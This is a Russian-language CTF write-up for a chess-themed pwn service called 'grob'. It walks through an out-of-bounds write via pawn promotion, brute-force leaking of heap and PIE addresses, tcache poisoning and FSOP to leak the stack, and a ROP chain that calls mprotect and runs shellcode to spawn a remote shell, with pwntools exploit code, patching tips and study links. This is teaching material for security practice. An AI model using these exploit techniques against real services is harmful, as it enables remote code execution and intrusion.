

Райтап по сервису grob

TL;DR

1. Разбираемся в протоколе и заставляем гпт написать клиент для взаимодействия
2. Замечаем OOB при перемещении фигуры и находим удобный примитив (превращение пешки в фигуру)
3. Лишаем адресное пространство перебором (pie + куча)
4. Лишаем стек простеньким FSOP'ом (или чуть менее тривиальной кучей)
5. Аллокаемся на стеке и делаем ROP

Немного о сервисе

Сервис задумывался как сложный, ожидалось решение от одной команды (максимум двух). Хоть флоу эксплоита и может показаться длинным и запутанным, по факту используются базовые техники: **tcache poisoning**, **arbitrary read** с помощью файловой структуры и **ROP**.

Название сервиса лишь на половину относится к его сложности, поскольку также является отсылкой на мемный шахматный дебют – дебют Гроба (вообще была идея всегда первым ходом с чекера делать *g4*, но PGN с "гробами" автор не осилил наосинтить за час)

Вводные данные

Имеем 64-битный статически собранный ELF. Бинарь не стрипнут и имеет `debug_info` для быстрого погружения в логику без сложного реверса функционала:

```
$ file grob
grob: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), static-pie
linked, BuildID[sha1]=9a8219ed75667838777eedef192189f98330bce7, for GNU/Linux
3.2.0, with debug_info, not stripped
```

С помощью `checksec` узнаем о включенных защитах бинаря (все защиты включены, но на самом деле канарейки в пользовательских функциях нет, задетектилось из-за функций либсы)

```
$ checksec --file=grob
RELRO           STACK CANARY      NX              PIE             RPATH           RUNP
Full RELRO      Canary found      NX enabled      PIE enabled      No RPATH        No F
```

Заметим, что в `docker-entrypoint.sh` бинарь запускается непосредственно, а не привычным `socat`ом. Это может подтолкнуть на мысль о реализации собственного TCP сервера

```
exec runuser -u ctf /app/grob
```

Учимся общаться

Сервис слушает на порту 11331, ассертит клиентов и обрабатывает их в функции `handle_client`. Для каждого клиента устанавливается канал шифрования с помощью протокола Диффи-Хеллмана и шифра ARC4:

```
void handle_client(int fd) {
    ...
    ctx.fd = fd;
    client_key_exchange(&ctx);
    recv_packet(&ctx, &cmd, 1u);
    ...
}

void client_key_exchange(proto_ctx_t *ctx) {
    ...
    DH_generate_key_pair(pub, priv);
    _libc_write(ctx->fd, pub, 16);
    _libc_read(ctx->fd, client_pub, 16);
    DH_generate_key_secret(key, priv, client_pub);
    rc4_ctx_init(&ctx->cph_ctx, key, 0x10u);
}
```

❗ Почему сервис нерабочий...

В ходе общения сервер отправляет сырые байты, что смутило некоторых участников и в первые часы A/D я получал сообщения о неработоспособности сервиса.

На самом деле реализация собственного протокола служит защитой от фильтрации эксплоитов атакующих (ведь в случае plaintext общения определить адреса 0x7f... / 0x55... не составляет труда)

Поскольку названия функций и переменных сохранены, а реализация является классической, написать клиент не составляет труда (при использовании чатов это вообще делается одним запросом)

Функционал сервиса

Главные команды

На старте у клиента запрашивается команда, название комнаты и код от нее. Всего сервис реализует 2 команды:

1. **CMD_SRV_VIEW_GAME**: загружает партию (PGN) комнаты, достает пароль и сверяет с клиентским. В случае успеха отправляет всю партию клиенту (которая также содержит флаг)
2. **CMD_SRV_ENTER_ROOM**: главная команда, реализующая шахматный движок. Чтобы 2 игрока зашли в одну комнату используется следующий алгоритм:

```
if (recv_opponent_ctx(room_code, &op_ctx) < 0) {  
    if (!send_opponent_ctx(room_code, &ctx))  
        exit(0);  
}
```

В `recv_opponent_ctx` создается UNIX сокет с названием `/chess/room/<room_code>`. Если такой сокет уже создан, вызывается функция `send_opponent_ctx`, которая отправляет по сокету контекст `arc4` и `fd` оппонента. После этого вся логика обрабатывается процессом, созданным первым клиентом, а процесс второго клиента завершается.

ⓘ (Не)стабильное поведение

У некоторых участников возникали проблемы с реализацией клиента, т.к. в случае одновременного входа обоих игроков в одну комнату из-за пинга их очередность могла поменяться, что мешало дальнейшей реализации (т.к. создатель комнаты должен отправить пароль для защиты комнаты). Решалось простым `sleep(.1)` между входами

Далее запускается сама игра: на куче создается и инициализируется шахматная доска, за ней аллоцируется `_IO_FILE` структура для логирования ходов в PGN. В конце участникам случайным образом выдается цвет (белый/черный) и после этого ожидаются команды от игроков

Игровые команды

В `handle_game` poll'ятся дескрипторы обоих игроков. Реализуются 3 игровые команды:

1. **CMD_GAME_MAKE_MOVE**: принимает ход игрока, проверят его и в случае легитимности выполняет
2. **CMD_GAME_SEND_MESSAGE**: отправляет текстовое сообщение на сервер
3. **CMD_GAME_RECV_MESSAGE**: позволяет получить текстовые сообщения с сервера

Сообщения на сервере хранятся в односвязном списке. При отправке добавляются в начало списка (поле `recipient` устанавливается в цвет оппонента). При получении сообщений из списка достаются все сообщения соответствующие цвету игрока. По сути является `malloc/free` функционалом.

А что делать-то...

В ходе анализа игрового движка можно заметить, что во всех функциях `is_valid_move_*` отсутствует проверка на границы шахматной доски. Например, для проверки хода коня определяется расстояние перемещения, но не границы:

```
int is_valid_move_knight(Move *m, Color color) {
    dr = m->r1 - m->r2;
    if ( dr < 0 ) dr = m->r2 - m->r1;
    dc = m->c1 - m->c2;
    if ( dc < 0 ) dc = m->c2 - m->c1;
    if ( dr != 2 )
        return dr == 1 && dc == 2;
    is_valid = 1;
    if ( dc != 1 )
        return dr == 1 && dc == 2;
    return is_valid;
}
```

Однако обычные ходы, ведущие за границы доски, не дают сильных примитивов, поскольку представляют собой лишь перемещение исходных фигур (байт):

```
void do_move(Move *m, Color color) {
    ...
    default:
        (*board)[m->r2][m->c2] = (*board)[m->r1][m->c1];
        (*board)[m->r1][m->c1] = PIECE_EMPTY;
}
```

В отличие от одного особенного хода – превращения пешки в фигуру:

```
void do_move(Move *m, Color color) {
    switch ( m->pk ) {
        case MOVE_PAWN_PROM:
            (*board)[m->r2][m->c2] = m->pv; // Позволяет установить
                                           // произвольный байт
            (*board)[m->r1][m->c1] = PIECE_EMPTY;
            break;
        ...
    }
}
```

Каких-либо сложных проверок на данный ход не накладывается:

```
int is_valid_move_pawn(Move *m, Color color) {
    if ( m->pk == MOVE_PAWN_PROM )
        return m->r1 == 5 * (color != COLOR_WHITE) + 1; // Превращение разрешается
                                                         // только с предпоследней
                                                         // горизонтали
    ...
}
```

Нету лика – нет конфетки

Основной проблемой эксплуатации с которой столкнулись участники, является отсутствие ликов, с помощью которых уже можно полноценно атаковать аллокатор.

Получение адреса кучи и PIE

Если внимательно проанализировать обработку новых клиентов, можно заметить, что в функции `handle_client` вызывается `fork`, чтобы продолжать обработку клиента уже в подпроцессе, а не останавливать сам сервер:

```
void handle_client(int fd) {
    v1 = _libc_fork();
    if ( v1 < 0 ) {
        _libc_close(fd);
        log_warn("Failed to `fork' new client");
    } else {
        if ( v1 <= 0 ) { ... /* Главная логика */ ; exit(0); }
        _libc_close(fd);
    }
}
```

Стоит обратить внимание, что созданный детский процесс наследует адресное пространство родителя, а это значит, что в ходе эксплуатации мы не очень-то и боимся падений (сегфолтов), ведь адреса в процессе нового клиента останутся такими же.

Таким образом, изменяя значения полей структуры `_IO_FILE`, находящейся на куче прямо после доски и отслеживая падения, можно определить адреса за разумное время (наиболее удобными являются `pgn->_IO_write_ptr` для кучи и `pgn->vtable` для PIE):

```
def guess_byte(offset, byte):
    with start() as io1, start() as io2:
        ...
        inv_move = (1, 1, offset // 8, offset % 8, 1, byte)
        order = True
        for cord in (list(pgn_iter('1. a4 h6 2. a5 h5 3. a6 h4 4. axb7 h3'))
                     + [inv_move]):
            p = flat([0, *cord], word_size=8)
            if order:
                io1.send(p)
                assert u8(io1.recv(1)) == 0
                io2.recv(7)
            else:
                io2.send(p)
                assert u8(io2.recv(1)) == 0
                io1.recv(7)
            order = not order

def leak_pie():
    ...
    for b in range(0x100):
        try:
            guess_byte(296 + i, b)
        except EOFError as e:
            continue
```

Получение адреса стека

Так как `_IO_FILE` не содержит адреса стека, восстановить его описанной ранее техникой нельзя. Но поскольку к этому моменту мы уже знаем адрес кучи и PIE, мы можем осуществлять различные атаки на кучу, одной из которых является `tcache poisoning`

Способ №1: arbitrary read с помощью `_IO_FILE`

Осуществляем классический `tcache poisoning` для аллокации на `_IO_FILE`:

1. Аллоцируем 2 чанка (отправляем два сообщениям)

2. Освобождаем 2 чанка (читаем два сообщения)
3. С помощью примитива OOB меняем адрес `tcache_entry->next` так, чтобы он указывал на адрес `_IO_FILE`
4. Аллоцируемся на `_IO_FILE`, собираем свою структуру по методичке [1] и ликаем стек, прочитав значение `environ`

Способ №2: только мужицкая куча

Аналогично способу №1 аллоцируемся с помощью `tcache poisoning`, но не на `_IO_FILE`, а сразу чуть выше `environ` (сообщение №1). Еще одним поизонингом аллоцируемся на размере сообщения №1 и увеличиваем его. Теперь мы можем прочитать из сообщения №1 чуть больше данных, чем предполагалось ранее (включая `environ`)

Получение RCE

Собрав все лики, получение RCE становится тривиальным. С помощью разобранный ранее техники аллокации на произвольном адресе, мы можем аллоцироваться прямо на стеке и написать ROP.

Слив эксплоита

За полчаса до окончания A/D сервис так и остался непобежденным, поэтому было принято решение предоставить участникам эксплоит. Разумеется, чтобы запустить эксплоит много ума не надо, поэтому из него была убрана маленькая часть, которую игроки должны были реализовать сами – ROP:

```
io2.send(flat([p8(1), p16(0xa0), {
    4 + 8: [
        0x41414141414141,
        0x42424242424242
    ],
    0xa0: b''
}]))
```

Один из возможных вариантов реализации: получение RWX страницы (`mprotect`), запись шеллкода, делающего `execve`, и, непосредственно, исполнение шеллкода:

```
fd = 6 if color else 4
rop = ROP(exe)
rop.call('mprotect', [heap_base, 0x1000, 7])
rop.call('read', [fd, heap_base, 0xa0])
rop.call(heap_base)
```

```

io2.send(flat([p8(1), p16(0xa0), {
    4 + 8: bytes(rop),
    0xa0: b''
}]))
io2.send_plain(
    asm(shellcraft.dup2(fd, 0))
    + asm(shellcraft.dup2(fd, 1))
    + asm(shellcraft.sh())
)

```

Патчинг

В пивне существует тысяча и одна техника патчинга сервисов, наиболее простыми и очевидными для данного сервиса являются:

- Аллокация промежуточного чанка между доской и `_IO_FILE` для нарушения оффсетов
- Запись в `environ` произвольного значения при старте программы для предотвращения лика стека

Конец :3

Если вы не смогли решить сервис, а после прочтения райтапа пазл так и не сложился, не стоит отчаиваться. Возможно, описанные техники вам были не знакомы, или, элементарно, не хватило базы/опыта. Ниже представлен список ссылок, по которым можно подробнее изучить техники, описанные в райтапе:

- Сезон пивна от spbctf: https://www.youtube.com/watch?v=pNvpCpW6Y_U&list=PLLguubeCGWoY12PWrD-oV3nZg3sjJNKxm
- Введение в Pwn | Кружок CTF МИФИ&BI.ZONE: <https://www.youtube.com/watch?v=ynzI1bE-5IA&list=PL50DqyBBM0b6i7ruedSLmhtxjmpqk2BfA&index=23>
- spbctf / Устройство аллокатора libc (преимущественно 2.31), атаки на кучу (включая tcache poisoning): <https://www.youtube.com/watch?v=xgKA3SAmFto&list=PLLguubeCGWoY12PWrD-oV3nZg3sjJNKxm&index=24>
- Разбор Safe-Linking для libc > 2.35: <https://ir0nstone.gitbook.io/notes/binexp/heap/safe-linking>
- pwn.college / все по FSOP (arbitrary read/write + перехват флоу): <https://pwn.college/software-exploitation/file-struct-exploits>